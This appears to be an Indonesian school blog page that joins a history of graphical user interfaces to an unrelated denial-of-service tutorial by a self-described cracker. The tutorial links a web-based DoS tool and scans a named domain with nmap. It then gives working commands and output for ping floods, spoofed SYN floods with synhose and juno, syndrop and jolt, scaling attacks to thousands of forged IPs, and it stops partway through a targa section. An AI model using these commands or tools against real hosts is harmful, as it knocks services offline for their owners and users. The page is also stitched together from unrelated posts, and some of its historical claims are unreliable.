FOLLOW @kertaskotor_

EDIT ME

ALEXA

Loading
Tampilkan postingan dengan label DOS. Tampilkan semua postingan
Tampilkan postingan dengan label DOS. Tampilkan semua postingan

sistem operasi berbasis GUI

TKJ SMK NASIONAL DEPOK
GUI atau singkatan dari Graphical User Interface yang memungkinkan pengguna untuk berinteraksi dengan perangkat keras komputer serta memudahkan dalam mengoperasikan sebuah sistem operasi (user friendly). GUI adalah sarana penghubug antara si pengguna ( User ) dengan apa yang digunakannya.
Selama bertahun-tahun berbagai GUI yang telah dikembangkan untuk berbagai sistem operasi seperti OS / 2, Macintosh, Windows, amiga, Linux, Symbian OS, dan banyak lagi. Di zaman komputer monster ( komputer generasi pertama maksud saya ) GUI belum dikenalkan, zaman itu ketika MARK 1 & juga ENIVAC mendominasi, mesin mereka memerlukan ruangan yang besar , energi yang besar juga user yang banyak pula dengan setiap keahliannya masing-masing hanya untuk mengendalikan 1 mesin saja. Baru ketika era komputer generasi kedua ( DOS buatan Microsoft dan IBM ) ada sedikit perubahan tampilan meskipun bukan disebut GUI.
Dalam artikel ini saya hanya menampilkan beberapa kemajuan yang signifikan dalam desain GUI (bukan sistem operasi) serta antarmuka pengguna berbasis grafik pada sistem operasi yang ada saat ini.
Tapi di zaman sekarang Mac OSX lah yang disebut-sebut sebagai OS yang ber GUI terbaik. Padahal mayoritas dari mereka menggunakan Windows . Bahkan pengguna Mac juga tidak sedikit yang menginstal Windows di dalam Macintoshnya. Untuk itu saya nanti akan membuat artikel mengapa OSX dibilang lebih fashinable dari OS lainnya
Ada beberapa yang tidak saya sertakan dan itu bukan berarti tidak termasuk dalam kamajuan desain, tapi tampilan yang ada di artikel merupakan salah satu sistem operasi yang sangat populer.
GUI pertama kali dikembangkan oleh para peneliti di Xerox Palo Alto Research Center (PARC) di tahun 70-an. Penelitian ini membuka era baru dalam inovasi komputer grafis.
Komputer pribadi (personal computer) pertama yang menggunakan antarmuka pengguna grafis modern adalah Xerox Alto, yang dikembangkan pada tahun 1973.
Sistem ini juga bukan sebagai produk komersial dan dimaksudkan terutama untuk penelitian di universitas.
1981-1985
Xerox 8010 Star (dirilis pada 1981)
Ini adalah sistem pertama yang disebut sebagai komputer desktop yang terintegrasi penuh, termasuk aplikasi dan GUI dan dikenal sebagai “The Xerox Star”, kemudian berganti nama menjadi “Viewpoint” dan kemudian berganti lagi namanya menjadi “GlobalView”.
Apple Lisa Office System 1 (dirilis pada 1983)
Sistem dikenal sebagai Lisa OS, atau singkatan dari Office System. Hal ini dikembangkan oleh Apple dengan maksud sebagai pemrosesan dokumen workstation.
Sayangnya workstation ini tidak bertahan lama, hal itu dibunuh oleh Apple Macintosh sistem operasi yang lebih terjangkau. Ada beberapa tambahan untuk upgrade ke versi Lisa OS, Lisa OS 2 di tahun 1983 dan Lisa OS 7 / 7 3,1 pada tahun 1984, dan dapat di upgrade oleh sistem itu sendiri, tapi sistem ini belum memakai (GUI).
VisiCorp Visi On (dirilis pada 1984)
VisiCorp pertama kali dikembangkan GUI desktop yang ditujukan untuk IBM PC. Sistem ini ditargetkan untuk perusahaan-perusahaan besar dan hadir dengan harga yang tinggi. Sistem GUI ini memanfaatkan mouse dengan built-in installer serta tidak menggunakan ikon pada tampilannya. Inilah yang menjadi kekurangan sekaligus batu sandungan GUI jenis ini.
Mac OS System 1.0 (dirilis pada 1984)
Sistem 1.0 sistem operasi pertama yang dikembangkan GUI untuk Macintosh. Beberapa fitur ini merupakan dari sistem operasi modern, karena pada setiap jendela (window) sudah disertai dengan ikon. Pada setiap jendela dapat dipindahkan dengan mouse dan tak hanya jendela, file dan folder pun dapat disalin dengan hanya menyeret dan menempatkan (dragging and dropping) ke lokasi atau target yang diinginkan pengguna. Konsep inilah yang diterapkan Apple pada Mac hingga sekarang yang sudah menjadi versi OSX Snow Leopard. Dan mungkin inilah yang membuat Mac dikatakan simple dibanding GUI jenis lain.
Amiga Workbench 1.0 (dirilis pada 1985)
Ketika pertama kali dirilis, saat itu Amiga berada di posisi depan, karena sistem GUI ini sudah memiliki fitur warna yang belum dimiliki GUI lain. Meskipun hanya empat warna ( empat warna: hitam, putih, biru, jingga ), kemampuan multitasking, dukungan suara stereo dan mengatur ikon (selected dan unselected). Fitur-fitur inilah yang membuat GUI jenis ini populer.
Windows 1.0x (dirilis pada 1985)
Di tahun ini, Microsoft akhirnya berhasil mengejar posisi seluruh sistem operasi antarmuka dengan merilis Windows 1.0, pertama sistem operasi berbasis GUI ( meskipun tidak ada yang berani untuk mengakui sebagai salah satunya ). Sistem ini menampilkan 32 × 32 piksel ikon dan warna grafis. Fitur yang paling menarik lainnya ( yang kemudian dihilangkan ) adalah ikon animasi jam analog. Lalu fitur ini kembali muncul kembali di Windows Vista ( pada Gadget di Sidebar ) . Nama “ Windows “ sendiri dinamakan oleh salah satu pegawai Bill Gates yang berarti jendela-jendela pengoperasian” . Mungkin pegawai Bill Gates tersebut juga mendapat royalti dari Microsoft Windows.
GEM (dirilis pada 1985)
GEM (Graphical Environment Manager) adalah gaya windowing GUI diciptakan oleh Digital Research, Inc (DRI). GEM awalnya dibuat untuk digunakan dengan CP / M sistem operasi pada Intel 8088 dan Motorola 68000 mikroprosesor dan kemudian dikembangkan untuk bisa berjalan di DOS juga. Kebanyakan orang akan mengetahui GEM sebagai salah satu GUI untuk komputer Atari ST. GEM juga digunakan pada seri Amstrad komputer IBM yang kompatibel dan merupakan inti untuk Ventura Publisher dan beberapa program DOS lainnya.
1986 – 1990
IRIX 3 (dirilis pada 1986, first release 1984)
IRIX merupakan sistem operasi 64-bit yang diciptakan untuk UNIX ( buyut dari Linux ). Sebuah fitur menarik pada GUI ini adalah dukungan untuk ikon vektor. Fitur ini sudah memakai GUI dan merupakan pelopor bahkan sebelum Mac OS X merilisnya.
GEOS (dirilis pada 1986)
The GEOS (Graphic Environment Operating System) sistem operasi ini dikembangkan oleh Berkeley Softworks (Kemudian GeoWorks). Sistem ini awalnya dirancang untuk Pengolah kata Commodore 64 dan dengan tampilan grafis yang disebut geoWrite Cat dan sebuah program yang Disebut geoPaint.
Windows 2.0x (dirilis pada 1987)
Dalam versi ini, perkembangan GUI telah membaik secara signifikan diantaranya, Jendela bisa tumpang tindih, dapat diubah ukurannya, dimaksimalkan dan diminimalkan. Mungkin fitur-fitur ini juga diadopsi dari fitur-fitur Mac. Yang membuat Windows menjadi booming adalah fasilitas game yang disediakan , karena kala itu Windows merupakan GUI pertama yang mempunyai game. Game andalan tersebut adalah game yang bernama “ Reversi “ . Mungkin para devloper game harus bertrimakasih juga pada Om Bill Gates yang mempelopori sebuah game pada
OS/2 1.x (dirilis pada 1988)
OS / 2 awalnya dikembangkan bersama oleh IBM dan Microsoft meskipun akhirnya dijual Microsoft kepada IBM, tetapi pada tahun 1991 kedua perusahaan berpisah dengan menggabungkan teknologi Microsoft GUI pada Windows-nya sendiri dan IBM mengembangkan OS / 2. GUI yang digunakan dalam OS / 2 yang disebut “Presentation Manager”. Versi ini hanya didukung GUI dan ikon monokrom. Hal inilah yang membuat OS ini kompatibel denan DOS dan WINDOWS. Versi 4.0 OS ini diberi nama Merlyn
NeXTSTEP / OPENSTEP 1.0 (dirilis pada 1989)
Steve Jobs ( preman Apple computer )muncul dengan ide untuk menciptakan komputer yang sempurna untuk sebuah riset di universitas dan laboratorium. Ide ini kemudian berkembang menjadi sebuah perusahaan bernama NeXT Computer Inc.
Komputer NeXT yang pertama dirilis pada tahun 1988, kemajuan yang signifikan ini dibuat pada tahun 1989 dengan pembebasan dari 1.0 NeXTSTEP GUI, yang kemudian berkembang menjadi OPENSTEP.
GUI’s tersebut tampil dengan ikon lebih besar (48 × 48) dan memperkenalkan warna tambahan. GUI tersebut awalnya memiliki warna monokrom, tapi versi 1.0 juga mulai mendukung monitor warna. Dengan GUI modern, Screenshot ini memberikan beberapa
kemudahan dalam mengoperasikannya.
Windows 3.0 (dirilis pada 1990)
Dengan versi ini, Microsoft telah menyadari potensi terhadap perkembangan tampilan GUI mereka dan mulai meningkatkan secara signifikan.
Sistem operasi itu sendiri mendukung peningkatan standar dan mode 386, yang dibuat menggunakan kapasitas memori yang lebih tinggi dari 640 KB dan penyimpanan data dengan menggunakan hard disk, sehingga kemampuan untuk menggunakan resolusi layar yang lebih tinggi dan tampilan grafis yang lebih baik, seperti Super VGA 800 × 600 dan 1024 × 768 .
Selain itu, Microsoft menyewa Susan Kare untuk merancang ikon Windows 3.0 untuk
1991 – 1995
Amiga Workbench 2.04 (dirilis pada 1991)
Banyak sekali perbaikan GUI yang dilakukan pada versi ini. Skema warna berubah dan tampak 3D pun sudah diperkenalkan. Desktop dapat dibagi secara vertikal ke resolusi layar yang berbeda serta kedalaman warna yang kini tampak sedikit aneh. Resolusi default Workbench adalah 640 × 256, tetapi harus didukung perangkat keras dengan resolusi yang lebih besar juga.
Mac OS System 7 (dirilis pada 1991)
Mac OS versi 7.0 adalah GUI pertama pada Mac OS dengan dukungan warna. Tampilan halus dengan nuansa warna abu-abu, biru dan kuning serta ditambahkan pula pada setiap ikon.

Windows 3.1 (dirilis pada 1992)
Versi Windows disertai TrueType font yang pra-instal. Hal ini secara efektif untuk pertama kalinya Windows membuat sebuah desktop publishing platform fungsional.
Sejak Windows 3.0, Adobe Type Manager (ATM) sistem font dari Adobe sudah mulai berfungsi. Versi ini juga berisi skema warna bernama Hotdog Stand, yang berisi warna cerah merah, kuning dan hitam.
Skema warna ini dirancang untuk membantu orang-orang yang buta warna saat
OS/2 2.0 (dirilis pada 1992)
Ini adalah GUI pertama yang menjadi sasaran penerimaan internasional, dalam hal kegunaan dan aksesibilitas. Seluruh GUI yang dikembangkan menggunakan desain object-oriented. Setiap file dan folder adalah suatu objek yang dapat dikaitkan dengan file lain seperti folder dan aplikasi. Hal ini juga mendukung fungsi drag dan drop serta template.
Windows 95 (dirilis pada 1995)
User interface benar-benar dirancang ulang sejak versi 3.x. Ini adalah versi Windows pertama di mana sebuah tombol ditambahkan ke setiap jendela ( Minimal, Maximal dan Restore ). Tim desain memberikan area (dapat diaktifkan, dinonaktifkan, dipilih, diperiksa, dll) untuk ikon dan grafis lainnya. Dan perkembangan pada versi ini untuk pertamakalinya adalah dengan adanya Tombol Start yang terkenal saat itu.Ini merupakan salah satu kemajuan besar Microsoft mengenai sistem operasi itu sendiri dan serta tampilan GUI.
1996 – 2000
OS/2 Warp 4 (dirilis pada 1996)
IBM merilis OS / 2 Warp 4 yang membawa signifikan dengan facelift ke setiap jendela atau ruang.
Ikon diletakkan di desktop, di mana file dan folder custom juga bisa dibuat. Dalam versi ini juga menyertakan fungsi penghapusan (Shredder) yang mirip dengan Windows ‘Recycle Bin’ atau Mac OS ‘Trash’. Perbedaan dalam fungsi ini yaitu saat menghapus file atau folder secara langsung dan tidak menyimpannya terlebih dahulu yang memungkinkan pengguna dapat menggunakannya atau mengembalikannya.
Mac OS System 8 (dirilis pada 1997)
Mac OS 8 merupakan salah satu pengadopsi awal dari gaya isometrik ikon yang disebut pseudo-3D ikon. Tema warna Abu platinum yang digunakan di sini menjadi merek dagang untuk versi masa depan GUI. Kala itu Mac juga belum menggunakan dock sebagai pembantunya dalam mengelola multi tasking.

Windows 98 (dirilis pada 1998)
Gaya ikon hampir sama seperti dalam Windows 95, dan untuk rendering seluruh GUI bisa menggunakan lebih dari 256 warna. Windows Explorer hampir sepenuhnya berubah dan “Active Desktop” muncul untuk pertama kalinya.

KDE 1.0 (dirilis pada 1998)
KDE ( di dominasi Linux )berusaha untuk memenuhi kebutuhan untuk sebuah desktop yang mudah digunakan untuk Unix workstation, mirip dengan lingkungan desktop yang bisa ditemukan pada MacOS atau Window95/NT. Sistem ini sepenuhnya gratis termasuk kode sumbernya yang dapat dimodifikasi.
BeOs 4.5 (dirilis pada 1999)
Sistem operasi BeOS dikembangkan untuk komputer pribadi. Pada awalnya ditulis BeIn pada tahun 1991 untuk dijalankan pada hardware BeBox. Hal ini kemudian dikembangkan lebih lanjut untuk memanfaatkan teknologi dan perangkat keras yang lebih baru seperti multiprocessing simetris dengan memanfaatkan modul I / O bandwidth, merasuk multithreading, multitasking dan 64-bit sistem file journal dikenal sebagai BFS. Pada tahun 2005 BeOS dijual kepada Palm. Lalu di campakan oleh Palm. Akhirnya para pencinta freeware dari kalangan Linux berusaha untuk membuatnya menjadi freeware lagi dengan mengubah namanya menadi HaikuOS , supaya tidak melanggar peraturan royati.
GNOME 1.0 (dirilis pada 1999)
Desktop GNOME ini diutamakan untuk Red Hat Linux, kemudian dikembangkan lagi untuk distributor Linux lainnya juga.
2001 – 2005
Mac OS X (dirilis pada 2001)
Pada awal tahun 2000 Apple mengumumkan sistem operasi dengan tampilan Aqua dan pada tahun 2001 perusahaan tersebut merilis sistem operasi baru yang disebut Mac OS X. Dengan ukuran ikon default 32 x 32 dan 48 x 48 yang dapat diubah menjadi 128 x 128 piksel anti-alias dan ikon semi-transparan.
Banyak kritik setelah merilis GUI ini. Tampaknya pengguna belum cukup siap oleh perubahan besar ini, tetapi mereka (konsumen) cukup cepat mengadopsi gaya baru GUI ini. Namun berkat inovasi inilah Mac OS disebut-sebut sebagai GUI tercantik kala itu dan seing tampil di televisi ( bukan iklan ). Bahkan film Block Buster pun juga memunculkan Mac ini kedalam filmnya. Disinilah Mac OS mulai belajar, Mereka akhirnya menggunakan Dock sebagau saran multitasking dan juga shortcut kesuatu program. Meskipun fungsinya tidak jauh bed
Windows XP (dirilis pada 2001)
Sejak sistem operasi dirilis, Microsoft cenderung sepenuhnya ke GUI, tidak terkecuali Windows XP. Pada versi ini tampilan GUI Windows mengalami perubahan total dan skinnable, sehingga pengguna dapat mengubah seluruh tampilan GUI serta tampilan Ikon pun dapat di ubah secara otomatis. Berkat OS ini ula lah yang mendorong Microsoft menjadi Mayoriats OS di dunia. Terlebih dukungan vendor-vendor software yang cenderung hanya mengembangkan softwarenya pada jenis ini dan jarang di kembangkan di Mac ataupun Linux sekalipun.
KDE 3 (dirilis pada 2002)
Sejak versi 1.0, K Desktop Environment mengalami perubahan secara signifikan. Mereka merubah semua fitur grafis dan ikon sehingga terlihat menyatu di setiap jendela.

2007 – 2009 (current)
Windows Vista (dirilis pada 2007)
Ini adalah respon Microsoft kompetisi mereka. Mereka juga cukup banyak penambahan fitur 3D dan animasi. Sejak Windows 98, Microsoft telah selalu berusaha meningkatkan desktop. Dengan Windows Vista mereka merilis widget yang baik sebagai pengganti Active Desktop. Namun yang menjadi persoalan ialah software default Microsoft yang sengaja dibuat untuk mempercantik OS nya tersebut malah menjadi penyebab lambatnya sistem di Vista ( ex : sidebar,Aero TM)
Mac OS X Leopard (dirilis pada 2007)
Dengan 6 generasi, sistem Mac OS X Apple, sekali lagi meningkatkan user interface, GUI merupakan sebuah dasar untuk versi Aqua seperti candy scroll dan grey platinum, serta warna biru. Dalam GUI yang baru ini terdapat fitur 3D yang terlihat jelas, 3D dock terbaru dan banyak lagi animasi interakitf.
GNOME 2.24 (2008)
GNOME menempatkan banyak perubahan dalam menciptakan tema dan karya seni ke v2.2.4 dengan tujuan “untuk membuat komputer terlihat baik”. Terlihat baik dari sisi efisiensi dan juga tampilan.

KDE (v4.0 Jan. 2008, v4.2 Mar. 2009)
Versi 4 dari K Desktop Environment menghasilkan banyak peningkatan baru pada GUI seperti animasi, rapih, pengelolaan jendela yang efisien dan adanya dukungan untuk desktop widget (sama seperti vista). Ukuran ikon mudah diatur dan hampir setiap desain elemen akan jauh lebih mudah untuk dikonfigurasi. Beberapa perubahan yang paling mencolok meliputi ikon baru, tema dan suara, yang disediakan oleh proyek Oxygen. Semua ikon ini akan lebih fotorealistik. Ini jelas merupakan suatu kemajuan besar dari KDE versi sebelumnya. Kini dapat juga dijalankan di platform Windows dan Mac OS X.
Mac OSx SnowLeopard (10.6 pada 2008)
Mac OS X Snow Leopard (versi 10.6) ketujuh utama keluaran dari mac OS x, apple’ desktop dan server sistem operasi. apel ceo steve pekerjaan mengumumkan snow leopard di WWDC pada juni 8, 2008, dan ini secara pribadi mendemonstrasikan ke pengembang dengan wakil presiden senior teknik perangkat lunak, bertrand serlet. pertama demonstrasi umum diberikan wwdc 2009 dengan serlet dan phil schiller, wakil presiden senior dari pemasaran seluruh dunia.
Feature baru pada GUI :
Stacks, bila dipandang sebagai bentuk kotak (tetapi bukan sebagai urutan yang keatas), bisa melihat subfolder tanpa peluncuran finder. rak buku-buku perpustakaan (sebagai bentuk kotak dan daftar) telah dimodifikasi termasuk scroll-bar untuk folder dengan banyak file.
The Default Gamma, bila mempandang sebagai bentuk kotak (tetapi bu sebagai urutan yang keata, bisa melihat subfolder tanpa peluncuran finder. rak buku-bu perpustakaan (sebagai bentuk kotak dan daftar te memodifikasi masuk scroll-bar untuk folder dengan banyak file.
Windows 7
Windows 7 (sebelumnya berkodekan Blackcomb atau Vienna) merupakan versi selanjutnya yang akan menggantikan Windows Vista.[2] Microsoft mengumumkan bahwa pengembangan Windows 7 akan berjalan dalam tiga tahun. Versi klien dari Windows 7 akan dirilis dalam versi dan walaupun versi servernya (yang akan menggantikan) akan dirilis hanya dalam versi 64-bit, yang akan dinamakan Windows Server 2008 R2.
Tampilan GUI-nya memang tidak jauh berbeda dengan Vista namun di klaim Microsoft mempunyai 127 feature baru dan 27 diantaranya tentang perbaikan GUI dari OS sebelumnya.

TKJ SMK NASIONAL DEPOK
TKJ SMK NASIONAL DEPOK.BLOGSPOT.COM
TKJSMKNASIONALDEPOK.BLOGSPOT.COM

DOS / DDOS ala Cracker+ ardiantz.com Web based denial of service Tool

Yup untuk melengkapi artikel kali ini ane sediain web based denial of service tool yang bisa dipake langsung, silahkan kunjungi:

http://ardiantz.com/~checking/.dos_tool

Web based Denial of service tool version 1,made by mywisdom



Yup kembali lagi bersama saya mywisdom kali ini tentang teknik serangan
favorit ala cracker jaman dulu (termasuk saya sendiri seorang cracker) yaitu Remote DOS dan DDOS.
Perhatikan perbedaan DDOS dan DOS:
- ddos dilakukan dari banyak zombie kita yaitu mesin-mesin yang sudah kita owned dan bisa dimanfaatkan untuk serangan
- dos adalah serangan yang berasal hanya dari 1 mesin saja!!!

Sebelum melakukan DOS atau DDOS Anda wajib mengetahui port - port daemon
yang terbuka di target kita, misal kita menggunakan nmap port scanner untuk target kita sec-r1z.com, satu hal yang wajib diingat oleh tiap cracker (nama domain sec-r1z.com hanyalah sekedar contoh)
yang ingin melakukan dos maupun ddos adalah sebaiknya tidak menyerang alamat ip target tapi menyerang domain / hostname karena alamat ip bisa diubah sewaktu-waktu untuk menhindari dos maupun ddos.
Sebelum ddos maupun dos mari kita scan daemon -daemon yang terbuka untuk
celah bagi kita menyerang, berikut ini contoh penggunaan scanning port dengan nmap:

Code:
bt ~ # nmap -A sec-r1z.com -PN

Starting Nmap 4.60 ( http://nmap.org ) at 2010-03-22 04:33 GMT
Interesting ports on 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86):
Not shown: 1668 closed ports, 36 filtered ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      PureFTPd
|_ Anonymous FTP: FTP: Anonymous login allowed
22/tcp   open  ssh      OpenSSH 4.3 (protocol 2.0)
25/tcp   open  smtp     Exim smtpd 4.69
|  SMTP: Responded to EHLO command
|  b0x.sec-r1z.com Hello example.org [111.94.9.19]
|  SIZE 52428800
|  PIPELINING
|  AUTH PLAIN LOGIN
|  STARTTLS
|  250 HELP
|  Responded to HELP command
|  Commands supported:
|_ AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
53/tcp   open  domain
110/tcp  open  pop3     Courier pop3d
143/tcp  open  imap     Courier Imapd (released 2008)
443/tcp  open  http     Apache httpd 2.0.63
|_ HTML title: Site doesn't have a title.
465/tcp  open  ssl/smtp Exim smtpd 4.69
|  SSLv2: server still supports SSLv2
|_      the server didn't offer any cyphers
993/tcp  open  ssl/imap Courier Imapd (released 2008)
|  SSLv2: server still supports SSLv2
|_      the server didn't offer any cyphers
995/tcp  open  ssl/pop3 Courier pop3d
|  SSLv2: server still supports SSLv2
|_      the server didn't offer any cyphers
3306/tcp open  mysql    MySQL 5.0.90-community
|  MySQL Server Information: Protocol: 10
|  Version: 5.0.90-community
|  Thread ID: 9230
|  Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection
|  Status: Autocommit
|_ Salt: @Te"s?}zn9nA:?l"cM6e
Device type: storage-misc
Running (JUST GUESSING) : BlueArc embedded (91%)
Aggressive OS guesses: BlueArc Titan 2100 NAS device (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: b0x.sec-r1z.com

TRACEROUTE (using port 21/tcp)
HOP RTT    ADDRESS
1   0.09   192.168.153.2
2   280.82 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86)

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 579.436 seconds
bt ~ #
Ok dari hasil scan ke sec-r1z.com kita bisa lihat kalau port-port berikut ini terbuka sehingga memungkinkan serangan kita:
Code:
21
22
25
53
110
143
443
465
993
995
3306
Jadi kita bisa menggempur target kita ke semua port tersebut.

Tips!!!
Agar DDOS lebih efektif sebaiknya serang semua port daemon yang terbuka
dan bagi yg port 80 open serangan difokuskan lebih ke port 80.


Aneka Tool & Teknik Untuk DOS / DDOS

Asiknya ICMP ATTACK
Ok selanjutnya kita bisa juga melakukan pengujian apakah box tersebut bisa
kita serang dengan icmp packets:
Code:
bt ~ # ping sec-r1z.com
PING sec-r1z.com (74.63.241.86) 56(84) bytes of data.
64 bytes from 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86): icm=10 ttl=128 time=273 ms

[2]+  Stopped                 ping sec-r1z.com
bt ~ #
Ok kita bisa melihat ketika kita ping sec-r1z.com dan ipnya diresolve ke 74.63.241.86 dan juga direply langsung olehnya :
reply 64 bytes dari 74.63.241.86 yang menandakan kita bisa menambahkan efek serangan icmp ke target kita.

Contoh Teknik dasar untuk melakukan ping flood dari root shell unix atau linux kita, ketikkan ini (misal target host adalah sec-r1z.com):
Code:
ping sec-r1z.com -fs 50000
PING sec-r1z.com (74.63.241.86) 50000(50028) bytes of data.
.......................................................
[3]+  Stopped                 ping sec-r1z.com -fs 50000

Asiknya SYN Attack

syn attack merupakan salah satu metode penyerangan favorit attacker jaman dulu yang memanfaatkan kelemahan three way handsake.
Salah satu tool yang biasa saya pakai untuk syn attack adalah synhose, Di mana synhose ini akan melakukan spoof random ip untuk mengirimkan paket ke target kita, sehingga seolah olah di target kita menerima banyak serangan dari ip yang berbeda.
SEcara default jika tidak diset di argumen maka synhose akan menyerang port 80, bisa kita liat di sourcenya:
Code:
if(port == 0) port = 80;
Misal kita akan menyerang sec-r1z.com di port terbuka 80 dari 10 spoof ip berbeda berikut ini contohnya:
Code:
bt ~ # ./synhose sec-r1z.com 80 10
SynHose [A random source IP syn flooder]
Written by knight / Idea by   : rza

Destination  : sec-r1z.com
Port         : 80
NumberOfTimes: 10

SynHosing sec-r1z.com at port 80 from 108.248.253.31 port 2884
SynHosing sec-r1z.com at port 80 from 248.36.16.139 port 4
SynHosing sec-r1z.com at port 80 from 68.48.179.170 port 409
SynHosing sec-r1z.com at port 80 from 5.54.172.218 port 9780
SynHosing sec-r1z.com at port 80 from 156.228.227.167 port 5327
SynHosing sec-r1z.com at port 80 from 108.99.240.141 port 1746
SynHosing sec-r1z.com at port 80 from 242.249.38.240 port 924
SynHosing sec-r1z.com at port 80 from 111.233.60.127 port 4544
SynHosing sec-r1z.com at port 80 from 60.194.164.239 port 4234
SynHosing sec-r1z.com at port 80 from 174.243.162.91 port 8044
bt ~ #
dari result di atas komputer kita mengirimkan paket syn ke sec-r1z.com dengan port tujuan 80 dari berbagai ip, misal yang terakhir dari spoof ip 174.243.162.91 melalui port 8044.

Hanya dari 10 ip tentu kurang sedap bukan?? mari kita serang dari 10000 ip berbeda:
Code:
bt ~ # ./synhose sec-r1z.com 80 10000
ooopssssss )

Juno
Juno merupakan syn attack tool yang cukup terkenal, berikut ini adalah contoh cara pakainya (misal target adalah sec-r1z.com di port 80):
Code:
bt ~ # ./juno sec-r1z.com 80
juno.c by Sorcerer of DALnet
death to 74.63.241.86:80




syndrop

Syndrop merupakan tool yang mengabungkan syn attack dan teardrop,berikut ini adalah contoh penggunaan syndrop dengan target host sec-r1z:
Code:
bt ~ # ./syndrop 127.0.0.1 sec-r1z.com -s 31337 -t 80 -n 99999999 -S 20 -E 9999
syndrop by PineKoan
Death on flaxen wings:
From:       127.0.0.1.31337
  To:    74.63.241.86.   80
 Amt: 99999999
[ b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b0




--------------------------------------------------------------------------


Jolt



Jika dilihat dari source codenya,Jolt merupakan salah satu tool untuk DOS yang akan mengirimkan paket icmp ke target kita, Pada jaman dahulu kala jolt ini banyak digunakan untuk membekukan server - server windows
jenis serangan adalah pengiriman paket icmp
Code:
icmp->type = ICMP_ECHO;
Berikut ini demo penggunaan jolt:
Code:
bt ~ # ./jolt 74.63.241.86 127.0.0.1 99999999
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
..................dst


Targa

Targa merupakan tool dos yang merupakan kombinasi dari tool2 ini:

* bonk by route|daemon9 & klepto
* jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)
* land by m3lt
* nestea by humble & ttol
* newtear by route|daemon9
* syndrop by PineKoan
* teardrop by route|daemon9
* winnuke by _eci

header2 file yang digunakan oleh targa cukup repot juga dan tidak ada di backtrack secara default, jadi saya tambahkan sendiri, berikut ini header file saya di /usr/include/netinet sehingga berhasil mengkompile targa.c:
Code:
bt netinet # ls
